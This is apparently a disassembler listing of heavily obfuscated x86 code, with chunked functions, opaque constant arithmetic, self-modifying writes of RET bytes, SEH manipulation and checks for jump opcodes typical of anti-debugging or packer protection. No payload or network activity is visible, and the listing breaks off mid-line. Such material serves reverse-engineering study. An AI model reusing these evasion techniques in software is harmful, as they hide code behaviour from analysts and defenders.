FUNCTION CHUNK AT 00748271 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00748885 SIZE 0000003A BYTES ; FUNCTION CHUNK AT 007488D8 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00748F94 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 007491A4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00749375 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007494AD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074956B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074969C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00749A34 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00749DEC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074A476 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074A51A SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0074A6FD SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0074A8EE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074A92B SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0074AB2F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0074B7F4 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0074C019 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074CB21 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0074CF9C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074CFB7 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0074D18F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0074D414 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074D436 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074D5CE SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0074D88C SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0074D8D2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074DADF SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0074DCD9 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0074DF79 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074E719 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0074E811 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074EBF1 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074ED1E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074EEAB SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074F088 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074F47C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074F683 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074F752 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0074F89D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074FCE9 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00750352 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00751033 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007510DF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00751E67 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075234A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00752497 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00752BBA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00752D9F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753975 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00753AC3 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00753E27 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00753E99 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00754ADF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00754CA5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075518E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007552F0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007554B2 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 007554E4 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0075583E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 007559C3 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 007560D3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075658C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756905 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0075696A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756A60 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00756B4E SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0075706B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007572A2 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0075752E SIZE 00000005 BYTES xchg edi, [esp+0] pop edi mov eax, [ebp-4] call sub_7459E9 jmp loc_7488D8 sub_747C22 endp ; sp-analysis failed ; --------------------------------------------------------------------------- pushf jmp loc_755921 ; =============== S U B R O U T I N E ======================================= sub_747C39 proc near ; CODE XREF: sub_74CBCF:loc_746EC7j ; sub_755E40+6p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00745474 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00745EBF SIZE 0000000E BYTES ; FUNCTION CHUNK AT 007464F5 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00746B3D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074863C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00749449 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00749C1A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00749D9B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074B2A4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074B520 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074CCAA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0074DF09 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074E214 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0074E8CB SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00750BC9 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00751007 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075136A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00751E50 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00751FBB SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00752E49 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00752FD1 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00753B7C SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00754529 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007546FE SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00755184 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00755449 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0075671F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075776D SIZE 0000000B BYTES xchg edx, [esp+0] pop edx pop ecx mov eax, [ebp-4] mov al, [eax] jnb loc_750BC9 sub al, 99h jmp loc_746B3D sub_747C39 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_747C50: ; CODE XREF: _0z4jwtox:007478CEj and ecx, 0C28A0D32h add ecx, 9A7CF99Ah and ecx, 8CFC19D8h rol ecx, 18h add ecx, 77B57570h mov [ecx], eax jmp loc_752457 ; =============== S U B R O U T I N E ======================================= sub_747C72 proc near ; CODE XREF: _0z4jwtox:0074BA62j ; sub_75622B:loc_753E36p arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0074FAA1 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 007571C2 SIZE 00000014 BYTES xchg ebx, [esp+0] pop ebx pop edx mov eax, [esp-8+arg_4] push edi mov edi, edx jmp loc_74FAA1 sub_747C72 endp ; sp-analysis failed ; --------------------------------------------------------------------------- or ecx, ebx popf jmp sub_752DE1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_250. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_747C8B: ; CODE XREF: _0z4jwtox:loc_7577C5j push 530E411Ah pop eax and eax, 0AC11A7F4h add eax, 62D76BF0h or eax, 0EB1DB6EFh js loc_74EEB8 push 35B87DB7h jmp loc_74D738 ; --------------------------------------------------------------------------- loc_747CB3: ; CODE XREF: _0z4jwtox:00754DE9j jb loc_74F23A sub ebx, edx ; START OF FUNCTION CHUNK FOR sub_748574 loc_747CBB: ; CODE XREF: sub_748574:loc_754DC5j or ecx, 0D25FD207h add ecx, 0DF4D6A4h xchg ecx, [esp+0] jmp sub_7451D9 ; END OF FUNCTION CHUNK FOR sub_748574 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_98. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CF35 loc_747CD0: ; CODE XREF: sub_74CF35+6D89j jmp loc_750AB3 ; END OF FUNCTION CHUNK FOR sub_74CF35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75275A loc_747CD5: ; CODE XREF: sub_75275A+6j jmp loc_74AC9A ; END OF FUNCTION CHUNK FOR sub_75275A ; =============== S U B R O U T I N E ======================================= sub_747CDA proc near ; CODE XREF: _0z4jwtox:loc_749E5Bj ; sub_748B7B:loc_74B544p xchg eax, [esp+0] pop eax pop ebp retn sub_747CDA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745911 loc_747CE0: ; CODE XREF: sub_745911+2846j ; sub_745911+2852j ... mov al, 1 jmp loc_74BB71 ; --------------------------------------------------------------------------- loc_747CE7: ; CODE XREF: sub_745911+7AEj ; sub_745911+30A4j push offset loc_7459E1 jmp loc_74B51B ; END OF FUNCTION CHUNK FOR sub_745911 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753176 loc_747CF1: ; CODE XREF: sub_753176-71CDj adc ecx, eax pop eax ; END OF FUNCTION CHUNK FOR sub_753176 ; START OF FUNCTION CHUNK FOR sub_74E3F7 loc_747CF4: ; CODE XREF: sub_745911:loc_745843j ; sub_745911+306Ej ... call sub_75532F locret_747CF9: ; CODE XREF: sub_7514BF-5Fj retn ; END OF FUNCTION CHUNK FOR sub_74E3F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BA92 loc_747CFA: ; CODE XREF: sub_74BA92:loc_74BAA4j jmp loc_74CEA3 ; END OF FUNCTION CHUNK FOR sub_74BA92 ; --------------------------------------------------------------------------- loc_747CFF: ; CODE XREF: _0z4jwtox:00749DF3j not eax ; =============== S U B R O U T I N E ======================================= sub_747D01 proc near ; CODE XREF: sub_7561AB-865Fp xchg ebx, [esp+0] pop ebx lea eax, sub_74AC6D mov byte ptr [eax], 0C3h jmp sub_74AC6D sub_747D01 endp ; sp-analysis failed ; --------------------------------------------------------------------------- sbb esi, ebp jmp sub_748773 ; --------------------------------------------------------------------------- dw 8A0Fh dd 0CCBBh, 8109E3C1h, 6D4EE4C3h ; --------------------------------------------------------------------------- cmpsd ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_747D29: ; CODE XREF: _0z4jwtox:loc_7520A9j ; sub_7543C5:loc_753E6Cj xor eax, 40D51CD5h call sub_746E93 mov ds:off_41F158, eax loc_747D3A: ; CODE XREF: _0z4jwtox:loc_74B558j jmp loc_746C74 ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- loc_747D3F: ; DATA XREF: sub_7514BF-64o cmp al, 0A4h jz loc_7540A9 jmp loc_74E238 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7462C2 loc_747D4C: ; CODE XREF: sub_7462C2:loc_752B54j jz loc_7510BB jmp loc_75148A ; END OF FUNCTION CHUNK FOR sub_7462C2 ; =============== S U B R O U T I N E ======================================= sub_747D57 proc near ; DATA XREF: sub_747290-15DAo add esi, 0C7E2DFECh mov [esi], eax pop esi lea eax, sub_747290 sub_747D57 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_75532F loc_747D66: ; CODE XREF: sub_75532F:loc_746F06j mov byte ptr [eax], 0C3h jmp sub_747290 ; END OF FUNCTION CHUNK FOR sub_75532F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7510EA loc_747D6E: ; CODE XREF: sub_7510EA:loc_756070j or edi, 546B324Ch add edi, 2F4E6ACh xchg edi, [esp+0] jmp sub_750243 ; END OF FUNCTION CHUNK FOR sub_7510EA ; --------------------------------------------------------------------------- locret_747D82: ; CODE XREF: _0z4jwtox:loc_751610j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AE8E loc_747D83: ; CODE XREF: sub_74AE8E+1B01j jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_74AE8E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D23E loc_747D88: ; CODE XREF: sub_748DCB:loc_75146Ej ; sub_74D23E:loc_7540A9j add eax, 8C3B521Eh call sub_754CBF mov edx, 0DAA118A9h ; END OF FUNCTION CHUNK FOR sub_74D23E ; =============== S U B R O U T I N E ======================================= sub_747D98 proc near ; CODE XREF: sub_746640p ; FUNCTION CHUNK AT 00747E14 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00748A8E SIZE 00000013 BYTES xchg edi, [esp+0] pop edi push large dword ptr fs:0 jmp loc_748A8E sub_747D98 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_188. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- sbb eax, 0C12C17D3h pop esi jmp sub_75043C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75309B loc_747DB5: ; CODE XREF: sub_75309B:loc_74AC63j cmp al, 0A4h jz loc_7554A3 jmp loc_74AAD4 ; END OF FUNCTION CHUNK FOR sub_75309B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_200. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_747DC3: ; CODE XREF: _0z4jwtox:007503F9j mov edx, [ebp-14h] mov [eax], edx ; START OF FUNCTION CHUNK FOR sub_747C22 loc_747DC8: ; CODE XREF: sub_747C22+BD5Aj jz loc_75583E mov eax, [ebp-24h] test byte ptr [eax+1], 80h jnz loc_74B803 jmp loc_75518E ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_747DE0: ; CODE XREF: sub_7543C5:loc_75571Bj push edx push 0B4542FAFh pop edx or edx, 0B611291Bh xor edx, 566BC783h add edx, 0F35A29ACh cmp edx, 0D0BC6599h jmp loc_74A48E ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- loc_747E04: ; CODE XREF: _0z4jwtox:0074E922j add edx, 932EA527h xchg edx, [esp] jmp sub_750C4E ; --------------------------------------------------------------------------- loc_747E12: ; DATA XREF: sub_74953D+Bo xor eax, eax ; START OF FUNCTION CHUNK FOR sub_747D98 loc_747E14: ; CODE XREF: sub_747D98:loc_748A9Cj pop large dword ptr fs:0 call sub_746633 push eax mov eax, edi xchg eax, [esp+0] push offset loc_74AEDD jmp nullsub_34 ; END OF FUNCTION CHUNK FOR sub_747D98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C7A2 loc_747E30: ; CODE XREF: sub_74C7A2+B09j add edx, 0B7EA7CBEh xchg edx, [esp+8+var_8] jmp loc_753A58 ; END OF FUNCTION CHUNK FOR sub_74C7A2 ; --------------------------------------------------------------------------- call sub_7531B7 ; START OF FUNCTION CHUNK FOR sub_75712E loc_747E43: ; CODE XREF: sub_75712E-74Ej jmp nullsub_232 ; END OF FUNCTION CHUNK FOR sub_75712E ; --------------------------------------------------------------------------- loc_747E48: ; DATA XREF: sub_74F688-4E25o add edi, 631F56EEh mov [edi], eax xchg ebx, [esp] mov edi, ebx pop ebx jmp loc_754F62 ; --------------------------------------------------------------------------- push 218E0787h and ebx, esi jmp sub_74FF79 ; --------------------------------------------------------------------------- or eax, eax jnz loc_7465A1 jmp loc_746B92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_747E74: ; CODE XREF: sub_747AEC+60ABj push 87B76E66h pop esi or esi, 0A89C5CF4h sub esi, 9C754E7Bh xor esi, 22190C50h add eax, esi loc_747E8E: ; CODE XREF: _0z4jwtox:loc_7457D7j pop esi push ebx jmp loc_74DB56 ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- loc_747E95: ; CODE XREF: _0z4jwtox:00752CECj jz loc_755C55 ; START OF FUNCTION CHUNK FOR sub_7570CA loc_747E9B: ; CODE XREF: sub_7570CA-8127j jmp loc_74B9E5 ; END OF FUNCTION CHUNK FOR sub_7570CA ; --------------------------------------------------------------------------- pushf or ecx, 378F534Fh jmp loc_755C52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_747EAC: ; CODE XREF: sub_747C22+2F1Fj sub ebx, 0F83C2930h and ebx, 53A5DDCAh add ebx, 0DD26C130h add ebx, ebp add ebx, 2258EDA4h mov [ebx], eax loc_747EC8: ; CODE XREF: _0z4jwtox:loc_7555B0j pop ebx jmp loc_74D414 ; --------------------------------------------------------------------------- loc_747ECE: ; CODE XREF: sub_747C22:loc_74E721j mov eax, [ebp-18h] jmp loc_74F47C ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- loc_747ED6: ; CODE XREF: _0z4jwtox:loc_7576B3j pop edx lea eax, nullsub_269 mov byte ptr [eax], 0C3h jmp nullsub_269 ; --------------------------------------------------------------------------- xchg ecx, [esp] loc_747EE8: ; CODE XREF: _0z4jwtox:0074E661j mov edx, ecx shl ecx, 0Eh jmp loc_7496C5 ; --------------------------------------------------------------------------- test edx, ecx jmp loc_74F3FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75299B loc_747EF9: ; CODE XREF: sub_75299B:loc_7467E0j jnb loc_74E3CD xchg edx, [ebx] sbb ebp, eax jmp loc_74B9CF ; END OF FUNCTION CHUNK FOR sub_75299B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7473D1 loc_747F08: ; CODE XREF: sub_7473D1+827Ej jbe loc_7451C9 test ebp, 921FB329h jmp loc_74F9BB ; END OF FUNCTION CHUNK FOR sub_7473D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B822 loc_747F19: ; CODE XREF: sub_74B822:loc_748B24j cmp dword ptr [eax], 0FFFFFFFFh mov ebx, [eax+4] mov eax, [eax] jnz loc_74B829 loc_747F27: ; CODE XREF: sub_7543C5:loc_74BE50j jmp loc_748A01 ; END OF FUNCTION CHUNK FOR sub_74B822 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746F7A loc_747F2C: ; CODE XREF: sub_746F7A:loc_74A61Dj jnz loc_74A833 jmp loc_74FC74 ; END OF FUNCTION CHUNK FOR sub_746F7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7463AE loc_747F37: ; CODE XREF: sub_7463AE+13C5j mov byte ptr [eax], 0C3h jmp loc_75674E ; END OF FUNCTION CHUNK FOR sub_7463AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7535F0 loc_747F3F: ; CODE XREF: sub_7535F0+1j ; _0z4jwtox:loc_754855j mov eax, [esp+0] push edi mov edi, edx jmp loc_7521D4 ; END OF FUNCTION CHUNK FOR sub_7535F0 ; --------------------------------------------------------------------------- shl eax, 0Ah jmp sub_74BCF7 ; --------------------------------------------------------------------------- loc_747F52: ; DATA XREF: sub_756496-B1AFo add eax, 0D5820E56h call sub_74FF79 ; START OF FUNCTION CHUNK FOR sub_74CF35 loc_747F5D: ; CODE XREF: sub_74CF35-5BFDj jmp loc_754B54 ; END OF FUNCTION CHUNK FOR sub_74CF35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_747F62: ; CODE XREF: sub_74FE55-90D3j jmp loc_753F45 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- shl edi, 0Ah jmp sub_755FD6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75622B loc_747F6F: ; CODE XREF: sub_75622B-BD1j xor eax, 0AF045E1Bh cmp eax, 4E9CC1E2h jmp loc_749924 ; END OF FUNCTION CHUNK FOR sub_75622B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E762 loc_747F80: ; CODE XREF: sub_74A8F9+19j ; sub_74E762-875j ... push edx push 641DCB6Bh pop edx add edx, 9738F61Bh rol edx, 14h xor edx, 0CD96ECE2h add eax, edx jmp loc_75781A ; END OF FUNCTION CHUNK FOR sub_74E762 ; =============== S U B R O U T I N E ======================================= sub_747F9D proc near ; DATA XREF: sub_74D782+57A2o arg_0 = dword ptr 4 mov [ebp-8], eax mov eax, offset dword_74C378 call sub_746F33 loc_747FAA: ; CODE XREF: sub_74A941+3j jmp sub_747A67 sub_747F9D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756826 loc_747FAF: ; CODE XREF: sub_756826-F261j jl loc_7531A9 loc_747FB5: ; CODE XREF: sub_756826:loc_75700Fj mov eax, [ebp+var_4] cmp byte ptr [eax], 0F1h jnz loc_7540AE jmp loc_754EF0 ; END OF FUNCTION CHUNK FOR sub_756826 ; --------------------------------------------------------------------------- dw 8A0Fh dd 1E51h, 0C0FD981h, 8FE93784h, 8700004Ch, 36E92414h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F73B loc_747FDF: ; CODE XREF: sub_74F73B+Cj push edi push 0FEC5B72Ah pop edi sub edi, 5D2E6BC5h xor edi, 0DAF54421h jmp loc_751073 ; END OF FUNCTION CHUNK FOR sub_74F73B ; --------------------------------------------------------------------------- cmp edx, 23006219h jmp loc_754516 ; --------------------------------------------------------------------------- push ebx push 0B9243AC2h pop ebx and ebx, 27D33D10h or ebx, 0C1D0D590h test ebx, 400000h jmp loc_74883C ; --------------------------------------------------------------------------- mov ds:off_41F02C, eax lea eax, sub_7535F0 mov byte ptr [eax], 0C3h jmp sub_7535F0 ; --------------------------------------------------------------------------- call nullsub_3 jmp ds:dword_41F030 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754729 loc_74803F: ; CODE XREF: sub_754729+13j jmp loc_745A42 ; END OF FUNCTION CHUNK FOR sub_754729 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- add al, 24h push eax pop edx jmp loc_746AFB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756834 loc_74804E: ; CODE XREF: sub_756834+Cj pop ebx lea eax, sub_749161 mov byte ptr [eax], 0C3h jmp loc_75488B ; END OF FUNCTION CHUNK FOR sub_756834 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749161 loc_74805D: ; CODE XREF: sub_749161+6j mov eax, [esp+0] push offset loc_74CE72 jmp loc_74CA9C ; END OF FUNCTION CHUNK FOR sub_749161 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_44. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748E45 loc_74806B: ; CODE XREF: sub_748E45:loc_751540j push 0FC6B6544h pop ebx and ebx, 4032B21Ch push offset sub_7507FE jmp nullsub_220 ; END OF FUNCTION CHUNK FOR sub_748E45 ; --------------------------------------------------------------------------- loc_748081: ; CODE XREF: _0z4jwtox:0074C24Dj cmp al, 0A4h jz loc_7556F9 jmp loc_750725 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755DA4 loc_74808E: ; CODE XREF: sub_755DA4+8j push ecx mov ecx, edx call sub_7570CA ; END OF FUNCTION CHUNK FOR sub_755DA4 ; START OF FUNCTION CHUNK FOR sub_747C22 loc_748096: ; CODE XREF: sub_747C22:loc_74CF9Cj jz loc_74B7FA jmp loc_74969C ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D23E loc_7480A1: ; CODE XREF: sub_74D23E:loc_756475j cmp byte ptr [eax], 0F1h jnz loc_7540AE jmp loc_75340B ; END OF FUNCTION CHUNK FOR sub_74D23E ; --------------------------------------------------------------------------- jmp ds:dword_41F16C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_265. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- add al, 24h mov edx, eax pop eax jns loc_748B63 call sub_74B1F9 ; START OF FUNCTION CHUNK FOR sub_74763A loc_7480C6: ; CODE XREF: sub_74763A+3j ; _0z4jwtox:00747A83j jmp loc_74EB33 ; END OF FUNCTION CHUNK FOR sub_74763A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C0A0 loc_7480CB: ; CODE XREF: sub_74C0A0:loc_7527B4j test ebx, 1ED4CF3Bh jmp loc_74A734 ; END OF FUNCTION CHUNK FOR sub_74C0A0 ; --------------------------------------------------------------------------- loc_7480D6: ; CODE XREF: _0z4jwtox:0074A6B9j xchg eax, [esp] call sub_745715 push 0E4602D9Bh pop eax xor eax, 4EE34BBAh sub eax, 9B0A81BDh cmp eax, 0C18152A3h jmp loc_74F9A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750C4E loc_7480FB: ; CODE XREF: sub_750C4E+3j xchg eax, [esp+4+var_4] mov ebp, esp push offset loc_7477FC jmp loc_7484C2 ; END OF FUNCTION CHUNK FOR sub_750C4E ; --------------------------------------------------------------------------- loc_74810A: ; CODE XREF: _0z4jwtox:00753BE5j rol ecx, 0Fh add ecx, 0F8417070h call sub_756AC1 ; START OF FUNCTION CHUNK FOR sub_7556D8 loc_748118: ; CODE XREF: sub_7556D8:loc_753F15j jmp loc_751E5A ; END OF FUNCTION CHUNK FOR sub_7556D8 ; --------------------------------------------------------------------------- loc_74811D: ; CODE XREF: _0z4jwtox:00749BB5j pop edi add edi, 0ADA0FC23h sub edi, 0C97D6394h add edi, 5E83DCE6h and edi, 97F7F6C9h jns loc_754DB7 ; START OF FUNCTION CHUNK FOR sub_75051C loc_74813C: ; CODE XREF: sub_75051C+Fj jmp loc_749906 ; END OF FUNCTION CHUNK FOR sub_75051C ; --------------------------------------------------------------------------- and ebx, eax jmp loc_754DAD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_23. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- js loc_74F92D jmp sub_74847B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745911 loc_748154: ; CODE XREF: sub_745911+30B9j ; _0z4jwtox:0074CDEDj cmp byte ptr [eax], 0E9h jz loc_747CE0 loc_74815D: ; CODE XREF: sub_745911:loc_7500E4j mov eax, [ebp+var_4] cmp byte ptr [eax], 0EBh jz loc_747CE0 mov eax, [ebp+var_4] mov al, [eax] jmp loc_750183 ; END OF FUNCTION CHUNK FOR sub_745911 ; --------------------------------------------------------------------------- push ebx push 0CBE7AF78h loc_748179: ; CODE XREF: _0z4jwtox:00755262j xchg edi, [esp] mov ebx, edi pop edi or ebx, 0F916E02h jmp loc_757513 ; --------------------------------------------------------------------------- loc_74818A: ; DATA XREF: sub_752D6B-1B63o jz loc_7485E0 mov eax, ds:dword_74B2AC mov eax, [eax] mov dword ptr ds:loc_74F377+1, eax xor eax, eax mov ds:dword_74B2AC, eax jmp loc_750685 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_757314 loc_7481A8: ; CODE XREF: sub_757314:loc_74B94Cj and ecx, 0B42BF32Bh jns loc_750D83 ; END OF FUNCTION CHUNK FOR sub_757314 ; START OF FUNCTION CHUNK FOR sub_74BACE loc_7481B4: ; CODE XREF: sub_74BACE+Cj jmp loc_748C76 ; END OF FUNCTION CHUNK FOR sub_74BACE ; --------------------------------------------------------------------------- pop ebx loc_7481BA: ; CODE XREF: _0z4jwtox:0075710Aj or ebp, 4F2F83EDh jmp loc_750D78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7474B9 loc_7481C5: ; CODE XREF: sub_7474B9-20DEj pop ebx sub ebx, 2DFE22E3h xor ebx, 7849B311h test ebx, 2 jmp loc_7465FD ; END OF FUNCTION CHUNK FOR sub_7474B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747A94 loc_7481DD: ; CODE XREF: sub_747A94:loc_74EE58j pop edx or edx, 38D61A5Ch add edx, 6C04F914h add edx, ebp jmp loc_753558 ; END OF FUNCTION CHUNK FOR sub_747A94 ; --------------------------------------------------------------------------- loc_7481F1: ; CODE XREF: _0z4jwtox:00750976j ; _0z4jwtox:loc_7572EDj adc ebx, 9D09E5FDh loc_7481F7: ; CODE XREF: _0z4jwtox:0074D2EDj add edx, 0DC8A272Eh xchg edx, [esp] jmp loc_749697 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_140. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_748206: ; CODE XREF: sub_747736:loc_747B8Fj jmp loc_757800 ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- loc_74820B: ; 